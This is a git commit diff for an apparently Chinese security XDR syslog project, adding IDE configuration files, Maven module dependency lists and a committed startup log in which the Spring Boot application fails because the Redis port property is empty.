1、新增功能探针联动处置、心跳在线检测
2、syslog-consumer模块拆分 syslog-consumer-rule模块实现日志数据消费、解析、泛化入库。
This commit is contained in:
Generated
+1
@@ -0,0 +1 @@
|
||||
security-xdr
|
||||
Generated
+17
@@ -0,0 +1,17 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="CompilerConfiguration">
|
||||
<annotationProcessing>
|
||||
<profile default="true" name="Default" enabled="true" />
|
||||
<profile name="Maven default annotation processors profile" enabled="true">
|
||||
<sourceOutputDir name="target/generated-sources/annotations" />
|
||||
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
|
||||
<outputRelativeToContentRoot value="true" />
|
||||
<module name="syslog-client" />
|
||||
<module name="syslog-consumer" />
|
||||
<module name="syslog-consumer-rule" />
|
||||
<module name="syslog-serve" />
|
||||
</profile>
|
||||
</annotationProcessing>
|
||||
</component>
|
||||
</project>
|
||||
Generated
+13
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="Encoding">
|
||||
<file url="file://$PROJECT_DIR$" charset="UTF-8" />
|
||||
<file url="file://$PROJECT_DIR$/syslog-client" charset="UTF-8" />
|
||||
<file url="file://$PROJECT_DIR$/syslog-consumer" charset="UTF-8" />
|
||||
<file url="file://$PROJECT_DIR$/syslog-consumer-rule" charset="UTF-8" />
|
||||
<file url="file://$PROJECT_DIR$/syslog-consumer/docker_run.txt" charset="GBK" />
|
||||
<file url="file://$PROJECT_DIR$/syslog-serve" charset="UTF-8" />
|
||||
<file url="file://$PROJECT_DIR$/syslog-serve/docker_run.txt" charset="GBK" />
|
||||
<file url="PROJECT" charset="GBK" />
|
||||
</component>
|
||||
</project>
|
||||
Generated
+14
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ExternalStorageConfigurationManager" enabled="true" />
|
||||
<component name="MavenProjectsManager">
|
||||
<option name="originalFiles">
|
||||
<list>
|
||||
<option value="$PROJECT_DIR$/pom.xml" />
|
||||
</list>
|
||||
</option>
|
||||
</component>
|
||||
<component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" project-jdk-name="1.8" project-jdk-type="JavaSDK">
|
||||
<output url="file://$PROJECT_DIR$/out" />
|
||||
</component>
|
||||
</project>
|
||||
Generated
+6
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="VcsDirectoryMappings">
|
||||
<mapping directory="$PROJECT_DIR$/.." vcs="Git" />
|
||||
</component>
|
||||
</project>
|
||||
Generated
+1560
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,63 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
|
||||
<output url="file://$MODULE_DIR$/target/classes" />
|
||||
<output-test url="file://$MODULE_DIR$/target/test-classes" />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<excludeFolder url="file://$MODULE_DIR$/target" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter:2.7.4" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot:2.7.4" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-context:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-aop:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-beans:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-expression:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-autoconfigure:2.7.4" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-logging:2.7.4" level="project" />
|
||||
<orderEntry type="library" name="Maven: ch.qos.logback:logback-classic:1.2.11" level="project" />
|
||||
<orderEntry type="library" name="Maven: ch.qos.logback:logback-core:1.2.11" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-to-slf4j:2.17.2" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-api:2.17.2" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.slf4j:jul-to-slf4j:1.7.36" level="project" />
|
||||
<orderEntry type="library" name="Maven: jakarta.annotation:jakarta.annotation-api:1.3.5" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-core:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-jcl:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.30" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.graylog2:syslog4j:0.9.61" level="project" />
|
||||
<orderEntry type="library" name="Maven: joda-time:joda-time:2.9.9" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.apache.commons:commons-lang3:3.12.0" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.springframework.boot:spring-boot-starter-test:2.7.4" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.springframework.boot:spring-boot-test:2.7.4" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.springframework.boot:spring-boot-test-autoconfigure:2.7.4" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: com.jayway.jsonpath:json-path:2.7.0" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: net.minidev:json-smart:2.4.8" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: net.minidev:accessors-smart:2.4.8" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.ow2.asm:asm:9.1" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.slf4j:slf4j-api:1.7.36" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: jakarta.xml.bind:jakarta.xml.bind-api:2.3.3" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: jakarta.activation:jakarta.activation-api:1.2.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.assertj:assertj-core:3.22.0" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.hamcrest:hamcrest:2.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter:5.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter-api:5.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.opentest4j:opentest4j:1.2.0" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.platform:junit-platform-commons:1.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.apiguardian:apiguardian-api:1.1.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter-params:5.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter-engine:5.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.platform:junit-platform-engine:1.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.mockito:mockito-core:4.5.1" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: net.bytebuddy:byte-buddy:1.12.17" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: net.bytebuddy:byte-buddy-agent:1.12.17" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.objenesis:objenesis:3.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.mockito:mockito-junit-jupiter:4.5.1" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.skyscreamer:jsonassert:1.5.1" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: com.vaadin.external.google:android-json:0.0.20131108.vaadin1" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.springframework:spring-test:5.3.23" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.xmlunit:xmlunit-core:2.9.0" level="project" />
|
||||
<orderEntry type="library" name="Maven: com.alibaba.fastjson2:fastjson2:2.0.40" level="project" />
|
||||
<orderEntry type="library" name="Maven: cn.hutool:hutool-all:5.8.16" level="project" />
|
||||
</component>
|
||||
</module>
|
||||
@@ -0,0 +1,63 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
|
||||
<output url="file://$MODULE_DIR$/target/classes" />
|
||||
<output-test url="file://$MODULE_DIR$/target/test-classes" />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<excludeFolder url="file://$MODULE_DIR$/target" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter:2.7.4" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot:2.7.4" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-context:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-aop:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-beans:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-expression:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-autoconfigure:2.7.4" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-logging:2.7.4" level="project" />
|
||||
<orderEntry type="library" name="Maven: ch.qos.logback:logback-classic:1.2.11" level="project" />
|
||||
<orderEntry type="library" name="Maven: ch.qos.logback:logback-core:1.2.11" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-to-slf4j:2.17.2" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-api:2.17.2" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.slf4j:jul-to-slf4j:1.7.36" level="project" />
|
||||
<orderEntry type="library" name="Maven: jakarta.annotation:jakarta.annotation-api:1.3.5" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-core:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.springframework:spring-jcl:5.3.23" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.30" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.graylog2:syslog4j:0.9.59" level="project" />
|
||||
<orderEntry type="library" name="Maven: joda-time:joda-time:2.9.7" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.apache.commons:commons-lang3:3.12.0" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.springframework.boot:spring-boot-starter-test:2.7.4" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.springframework.boot:spring-boot-test:2.7.4" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.springframework.boot:spring-boot-test-autoconfigure:2.7.4" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: com.jayway.jsonpath:json-path:2.7.0" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: net.minidev:json-smart:2.4.8" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: net.minidev:accessors-smart:2.4.8" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.ow2.asm:asm:9.1" level="project" />
|
||||
<orderEntry type="library" name="Maven: org.slf4j:slf4j-api:1.7.36" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: jakarta.xml.bind:jakarta.xml.bind-api:2.3.3" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: jakarta.activation:jakarta.activation-api:1.2.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.assertj:assertj-core:3.22.0" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.hamcrest:hamcrest:2.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter:5.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter-api:5.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.opentest4j:opentest4j:1.2.0" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.platform:junit-platform-commons:1.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.apiguardian:apiguardian-api:1.1.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter-params:5.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.jupiter:junit-jupiter-engine:5.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.junit.platform:junit-platform-engine:1.8.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.mockito:mockito-core:4.5.1" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: net.bytebuddy:byte-buddy:1.12.17" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: net.bytebuddy:byte-buddy-agent:1.12.17" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.objenesis:objenesis:3.2" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.mockito:mockito-junit-jupiter:4.5.1" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.skyscreamer:jsonassert:1.5.1" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: com.vaadin.external.google:android-json:0.0.20131108.vaadin1" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.springframework:spring-test:5.3.23" level="project" />
|
||||
<orderEntry type="library" scope="TEST" name="Maven: org.xmlunit:xmlunit-core:2.9.0" level="project" />
|
||||
<orderEntry type="library" name="Maven: com.alibaba.fastjson2:fastjson2:2.0.40" level="project" />
|
||||
<orderEntry type="library" name="Maven: cn.hutool:hutool-all:5.8.16" level="project" />
|
||||
</component>
|
||||
</module>
|
||||
@@ -0,0 +1,997 @@
|
||||
2026-05-18 15:16:24.487 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 15:16:24.487 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 13868 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 15:16:24.491 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 15:16:26.671 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:16:26.673 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:16:27.117 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 439 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 15:16:27.121 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:16:27.122 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:16:27.246 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 15:16:27.246 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 124 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 15:16:27.260 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:16:27.261 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 15:16:27.379 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 15:16:27.379 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 110 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 15:16:27.512 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.512 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.512 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.512 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.512 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.512 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.512 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.512 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.513 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.513 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.513 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.513 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.513 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.513 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.513 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.513 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.513 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:16:27.516 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 15:16:28.019 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 15:16:28.026 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 15:16:28.026 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 15:16:28.027 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 15:16:28.193 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 15:16:28.193 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 3627 ms
|
||||
2026-05-18 15:16:28.240 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 15:16:30.849 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 15:16:31.302 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 15:16:31.311 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 15:16:31.327 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 15:16:31.330 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 15:16:31.378 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 15:16:36.139 [main] WARN o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext - Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'realtimeAnalysisScheduler': Unsatisfied dependency expressed through field 'ruleExecutionTimeService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'ruleExecutionTimeServiceImpl': Unsatisfied dependency expressed through field 'redisTemplate'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'stringRedisTemplate' defined in class path resource [org/springframework/boot/autoconfigure/data/redis/RedisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'stringRedisTemplate' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'org.springframework.boot.autoconfigure.data.redis.LettuceConnectionConfiguration': Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.boot.context.properties.ConfigurationPropertiesBindException: Error creating bean with name 'spring.redis-org.springframework.boot.autoconfigure.data.redis.RedisProperties': Could not bind properties to 'RedisProperties' : prefix=spring.redis, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'spring.redis.port' to int
|
||||
2026-05-18 15:16:36.142 [main] INFO o.a.catalina.core.StandardService - Stopping service [Tomcat]
|
||||
2026-05-18 15:16:36.153 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -
|
||||
|
||||
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
|
||||
2026-05-18 15:16:36.171 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -
|
||||
|
||||
***************************
|
||||
APPLICATION FAILED TO START
|
||||
***************************
|
||||
|
||||
Description:
|
||||
|
||||
Failed to bind properties under 'spring.redis.port' to int:
|
||||
|
||||
Property: spring.redis.port
|
||||
Value: ""
|
||||
Origin: class path resource [application.properties] - 90:0
|
||||
Reason: failed to convert java.lang.String to int (caused by java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type)
|
||||
|
||||
Action:
|
||||
|
||||
Update your application's configuration
|
||||
|
||||
